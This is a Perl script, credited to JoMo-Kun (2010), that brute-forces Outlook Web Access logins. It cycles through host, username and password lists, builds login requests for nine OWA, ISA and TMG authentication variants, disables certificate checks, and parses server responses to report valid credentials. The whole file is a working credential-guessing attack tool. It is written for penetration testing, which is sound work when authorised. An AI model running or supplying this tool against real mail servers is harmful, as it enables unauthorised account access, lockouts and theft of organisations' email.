#!/usr/bin/env perl # ##################################################################### # OWA Form-Based Brute Force Script ##################################################################### # # Copyright (C) 2010 Joe Mondloch # JoMo-Kun / jmk@foofus.net # # This script is intended for use against OWA's form-based logon. # While it supports basic-auth, Medusa may be a quicker solution in # those cases. # # Tested against OWA 2003 -- owaauth.dll # Tested against OWA -- basic auth # use Getopt::Long; use HTTP::Cookies; use LWP::UserAgent; use Time::HiRes qw/ time /; #use LWP::Debug qw(+); $|++; # don't buffer my $VERSION = "0.02"; my %opt, %data; my $ua = LWP::UserAgent->new(env_proxy => 1, keep_alive => 1, timeout => 90); $ua->ssl_opts( SSL_verify_mode => SSL_VERIFY_NONE ); my $jar = HTTP::Cookies->new(); $ua->cookie_jar($jar); push @{ $ua->requests_redirectable }, 'POST'; #$ua->add_handler("request_send", sub { shift->dump; return }); #$ua->add_handler("response_done", sub { shift->dump; return }); print "\nJoMo-Kun: OWA Brute Forcer\n\n"; GetOptions ( 'host=s' => \$opt{'host'}, 'hostlist=s' => \$opt{'hostlist'}, 'username=s' => \$opt{'username'}, 'userlist=s' => \$opt{'userlist'}, 'password=s' => \$opt{'password'}, 'passlist=s' => \$opt{'passlist'}, 'combo=s' => \$opt{'combo'}, 'domain=s' => \$opt{'domain'}, 'type=s' => \$opt{'type'}, 'nopass' => sub { $opt{'nopass'} = 1 }, 'userpass' => sub { $opt{'userpass'} = 1 }, 'ssl' => sub { $opt{'ssl'} = 1 }, 'proxy' => sub { $opt{'proxy'} = 1 }, ); if ( !( (defined($opt{'host'}) || defined($opt{'hostlist'})) && ( ( (defined($opt{'username'}) xor defined($opt{'userlist'})) && ( (defined($opt{'password'}) xor defined($opt{'passlist'})) || $opt{'nopass'} || $opt{'userpass'}) ) || (defined($opt{'combo'}) ) && defined($opt{'type'}) ) ) ) { print "OWA Logon Brute-Forcer :: v$VERSION\n"; print "Usage:\n"; print " $0\n"; print " --host \n"; print " --hostlist \n"; print " --domain \n"; print " --userlist [OR]\n"; print " --username \n"; print " --passlist [OR]\n"; print " --password \n"; print " --combo \n"; print " --nopass [Blank password]\n"; print " --userpass [Password matches username]\n"; print " --type <1,2,3>\n"; print " 1: basic auth mode + /\n"; print " 2: basic auth mode + /exchange\n"; print " 3: owalogon.asp + owaauth.dll\n"; print " 4: CookieAuth.dll?Logon?GetLogon?url=%2F (** %2F **)\n"; print " 5: CookieAuth.dll?GetLogon?curl=Z2F (** Z2F **)\n"; print " 6: NTLM auth mode\n"; print " 7: LogonFrm.asp\n"; print " 8: owa/auth/owaauth.dll (Outlook Light w/ ISA 2007)\n"; print " 9: /owa/auth.owa (Outlook Web App 2010)\n"; print " --ssl [HTTPS]\n"; print " --proxy\n"; print "\n\n"; exit(1); } if ( defined($opt{'host'}) ) { push @hostList, $opt{'host'}; } else { open(HAND, $opt{'hostlist'}) || die("Failed to open: $opt{'hostlist'} $!"); @hostList=; close(HAND); } if ( defined($opt{'username'}) ) { push @userList, $opt{'username'}; } elsif ( defined($opt{'userlist'}) ) { open(HAND, $opt{'userlist'}) || die("Failed to open: $opt{'userlist'} $!"); @userList=; close(HAND); } if ( defined($opt{'password'}) ) { push @passList, $opt{'password'}; } elsif ( defined($opt{'passlist'}) ) { open(HAND, $opt{'passlist'}) || die("Failed to open: $opt{'passlist'} $!"); @passList=; close(HAND); } if ( defined($opt{'combo'}) ) { open(HAND, $opt{'combo'}) || die("Failed to open: $opt{'combo'} $!"); @comboList=; close(HAND); } if ($opt{'proxy'}) { $ua->proxy(['http', 'https'], 'http://localhost:8008/'); #$ua->proxy(['http', 'https'], 'http://localhost:4005/'); # burp proxy and perl no worky? #$ua->proxy(['http', 'https'], 'http://localhost:8080/'); } foreach $host (@hostList) { chomp($host); ($ret) = &chkSrv($host); if ($ret) { print "\nConnected to host: $host.\n"; } else { print "Failed to connect to host: $host.\n"; exit(0); } my $domain = $opt{"domain"}; foreach $user (@userList) { chomp($user); $ret = 0; if ($opt{'nopass'}) { $pass = ""; ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass); print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n"; } next if ($ret > 0); if ($opt{'userpass'}) { $pass = $user; ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass); print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n"; } next if ($ret > 0); foreach $pass (@passList) { chomp($pass); ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass); print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n"; last if ($ret > 0); } } foreach $combo (@comboList) { my ($user, $pass) = split /:/, $combo; chomp($user,$pass); my ($ret, $time, $msg) = &chkUser($host, $domain, $user, $pass); print "\tHost: $host Time: $time Domain: $domain User: $user Password: $pass ==> $msg\n"; } } exit(0); sub chkSrv($) { my $host = $_[0]; my $path, $result; if ($opt{'type'} eq "1") { $path = "/"; } elsif ($opt{'type'} eq "2") { $path = "exchange/"; } elsif ($opt{'type'} eq "3") { $path = "exchweb/bin/auth/owalogon.asp"; } elsif ($opt{'type'} eq "4") { #$path = ""; $path = "exchange"; } elsif ($opt{'type'} eq "5") { #$path = "exchange"; $path = "owa"; } elsif ($opt{'type'} eq "6") { $path = "/EWS/Exchange.asmx"; print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1); } elsif ($opt{'type'} eq "7") { $path = "/exchange/LogonFrm.asp"; print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1); } elsif ($opt{'type'} eq "8") { $path = ""; } elsif ($opt{'type'} eq "9") { $path = "owa"; } if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; } else { $req = new HTTP::Request GET => "http://$host/$path"; } $req->user_agent('Mozilla/5.0'); $jar->add_cookie_header($req); my $res = $ua->request($req); $jar->extract_cookies($res); #print "RESPONSE: ", $res->as_string, "\n"; if ($res->as_string =~ /401 Unauthorized/) { print STDERR "SERVER CHECK: 401 Unauthorized\n"; $result = 1; } if ($res->as_string =~ /WWW-Authenticate: Basic realm="(.*)"/) { print STDERR "SERVER CHECK: WWW-Authenticate: Basic realm=\"$1\"\n"; $result = 1; } if ($res->as_string =~ /Error: Access is Denied./) { print STDERR "SERVER CHECK: Error: Access is Denied.\n"; $result = 1; } print STDERR "\n"; if ($res->is_success) { return(1); } elsif ($result) { return(1); } else { return(0); } } sub chkUser($) { my ($host, $domain, $user, $pass) = @_; my $path; my $time = time(); if ($opt{'type'} eq "1") { if ($domain ne "") { $user = "$domain%5C$user"; } $path = ""; if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; } else { $req = new HTTP::Request GET => "http://$host/$path"; } $req->authorization_basic($user, $pass); print "VERIFY, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1); } elsif ($opt{'type'} eq "2") { if ($domain ne "") { $user = "$domain%5C$user"; } $path = "exchange/"; if ($opt{'ssl'}) { $req = new HTTP::Request GET => "https://$host/$path"; } else { $req = new HTTP::Request GET => "http://$host/$path"; } $req->authorization_basic($user, $pass); } elsif ($opt{'type'} eq "3") { $path = "exchweb/bin/auth/owaauth.dll"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; $req->referer("https://$host/exchweb/bin/auth/owalogon.asp?url=https://$host/exchange&reason=0"); if ($domain ne "") { $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&domain=$domain&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } else { $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } } else { $req = new HTTP::Request POST => "http://$host/$path"; $req->referer("http://$host/exchweb/bin/auth/owalogon.asp?url=http://$host/exchange&reason=0"); if ($domain ne "") { $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&domain=$domain&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } else { $req->content("destination=https%3A%2F%2F$host%2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } } } elsif ($opt{'type'} eq "4") { if ($domain ne "") { $user = "$domain%5C$user"; } $path = "CookieAuth.dll?Logon"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; $req->referer("https://$host/CookieAuth.dll?GetLogon?url=%2F&reason=0"); #$req->content("destination=Z2Fexchange&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); $req->content("destination=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } else { $req = new HTTP::Request POST => "http://$host/$path"; $req->referer("http://$host/CookieAuth.dll?GetLogon?url=%2F&reason=0"); $req->content("destination=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); } } elsif ($opt{'type'} eq "5") { if ($domain ne "") { $user = "$domain%5C$user"; } $path = "CookieAuth.dll?Logon"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; #$req->referer("https://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=0"); $req->referer("https://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=2&formdir=1"); #$req->content("curl=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); #$req->content("curl=Z2F&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On"); #$req->content("curl=Z2FExchangeZ2F&flags=0&forcedownlevel=0&formdir=3&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On"); #$req->content("curl=Z2Fexchange&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On"); $req->content("curl=Z2Fowa&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On"); } else { $req = new HTTP::Request POST => "http://$host/$path"; $req->referer("http://$host/CookieAuth.dll?GetLogon?curl=Z2F&reason=0"); $req->content("curl=Z2F&flags=0&username=$user&password=$pass&SubmitCreds=Log+On&trusted=0"); $req->content("curl=Z2FExchangeZ2F&flags=0&forcedownlevel=0&formdir=1&trusted=0&username=$user&password=$pass&SubmitCreds=Log+On"); } } elsif ($opt{'type'} eq "6") { print "*********************** NOTICE ***********************\n"; print " If authentication fails, verify the following:\n"; print " 1. Authen::NTLM written by Mark Bush is installed.\n"; print " 2. Modify line 173 of NTLM.pm to set $domain = \'\'\n"; print "******************************************************\n"; #$path = "EWS/Exchange.asmx"; if ($domain ne "") { $user = "$domain%5C$user"; } $ua->credentials("$host", '', "$user", "$pass"); if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; } else { $req = new HTTP::Request POST => "http://$host/$path"; } print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1); } elsif ($opt{'type'} eq "7") { $path = "/exchange/LogonFrm.asp?isnewwindow=0&mailbox=$user"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; } else { $req = new HTTP::Request POST => "http://$host/$path"; } if ($domain ne "") { $user = "$domain%5C$user"; } $req->authorization_basic($user, $pass); print "VERIFY PATH, FIX IF NEEDED and REMOVE THIS LINE..."; exit(1); } elsif ($opt{'type'} eq "8") { # Outlook Web Access Light w/ Microsoft ISA 2007 if ($domain ne "") { $user = "$domain%5C$user"; } $path = "owa/auth/owaauth.dll"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; $req->referer("https://$host/owa/auth/logon.aspx?url=https://$host/owa/&reason=0"); $req->content("destination=https%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1"); } else { $req = new HTTP::Request POST => "http://$host/$path"; $req->referer("http://$host/owa/auth/logon.aspx?url=https://$host/owa/&reason=0"); $req->content("destination=http%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1"); } } elsif ($opt{'type'} eq "9") { # Outlook Web App w/ Exchange 2010 if ($domain ne "") { $user = "$domain%5C$user"; } $path = "owa/auth.owa"; if ($opt{'ssl'}) { $req = new HTTP::Request POST => "https://$host/$path"; $req->referer("https://$host/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=https%3a%2f%2f$host%2fowa%2f"); $req->content("destination=https%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1"); } else { $req = new HTTP::Request POST => "http://$host/$path"; $req->referer("http://$host/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=http%3a%2f%2f$host%2fowa%2f"); $req->content("destination=http%3A%2F%2F$host%2Fowa%2F&flags=0&forcedownlevel=0&trusted=0&username=$user&password=$pass&isUtf8=1"); } $req->header(Cookie => "PBack=0"); } $req->content_type('application/x-www-form-urlencoded'); $req->user_agent('Mozilla/5.0'); $jar->add_cookie_header($req); my $res = $ua->request($req); $jar->extract_cookies($res); my $ret = 1, $msg = "*** SUCCESS: Access Allowed ****"; #print "RESPONSE: ", $res->as_string, "\n"; if ($res->is_success) { if ($res->as_string =~ /Your account has expired. Please contact technical support for your organization./) { $ret = 2; $msg = "Login Failed - Account has expired."; } elsif ($res->as_string =~ /Your account has been disabled. Please contact technical support for your organization./) { $ret = 2; $msg = "Login Failed - Account has been disabled."; } elsif (($res->as_string =~ /You could not be logged on to Outlook Web Access. *Make sure your /) || ($res->as_string =~ /You could not be logged on to ISA Server. *Make sure that your domain name, user name, and password are correct, and then try again./) || ($res->as_string =~ /You could not be logged on to Forefront TMG. *Make sure that your domain name, user name, and password are correct, and then try again./)) { $ret = 0; $msg = "Failed (You could not be logged on to Outlook Web Access...)"; } elsif ($res->as_string =~ /You do not have the permissions required to access this Web site. Please contact the Web site administrator./) { $ret = 0; $msg = "Failed (You do not have the permissions required to access...)"; } elsif ($res->as_string =~ /Login Failed - Invalid ID or Password/) { $ret = 0; $msg = "Failed (Invalid ID or Password...)"; } elsif ($res->as_string =~ /The user name or password that you entered is not valid. Try entering it again./) { $ret = 0; $msg = "Failed (user name or password invalid)"; } elsif ($res->as_string =~ /The user name or password you entered isn't correct. Try entering it again./) { $ret = 0; $msg = "Failed (user name or password invalid)"; } elsif ($res->as_string =~ /body onload=\'javascript:DoSubmit\(\).*action=\'(.*)\' method=\'post\'/) { $ret = 1; $msg = "*** SUCCESS: Valid password, but redirecting (legacy OWA): $1 ***"; } elsif (($res->as_string =~ /could not find a mailbox for (.*?)\./) || ($res->as_string =~ /couldn't be found for (.*?)\./)) { $ret = 1; $msg = "*** SUCCESS: Valid password, but no mailbox for: $1 ***"; } elsif ($res->as_string =~ /Outlook Web App is currently disabled for user (.*?)\./) { $ret = 1; $msg = "*** SUCCESS: Outlook Web App is currently disabled for user: $1 ***"; } elsif ($res->as_string =~ /Choose the language you want to use\./) { $ret = 1; $msg = "*** SUCCESS: Language/Time Zone not set for user ***"; } elsif ($res->as_string =~ /You do not have permission to view this directory or page using the credentials that you supplied because your Web browser is sending a WWW-Authenticate header field that the Web server is not configured to accept./) { $ret = 2; $msg = "Failed, stuff may be broken here..."; } } else { $msg = " (CODE:" . $res->code . " : " . $res->message . ") "; $ret = 0; } return ($ret, time() - $time, $msg); }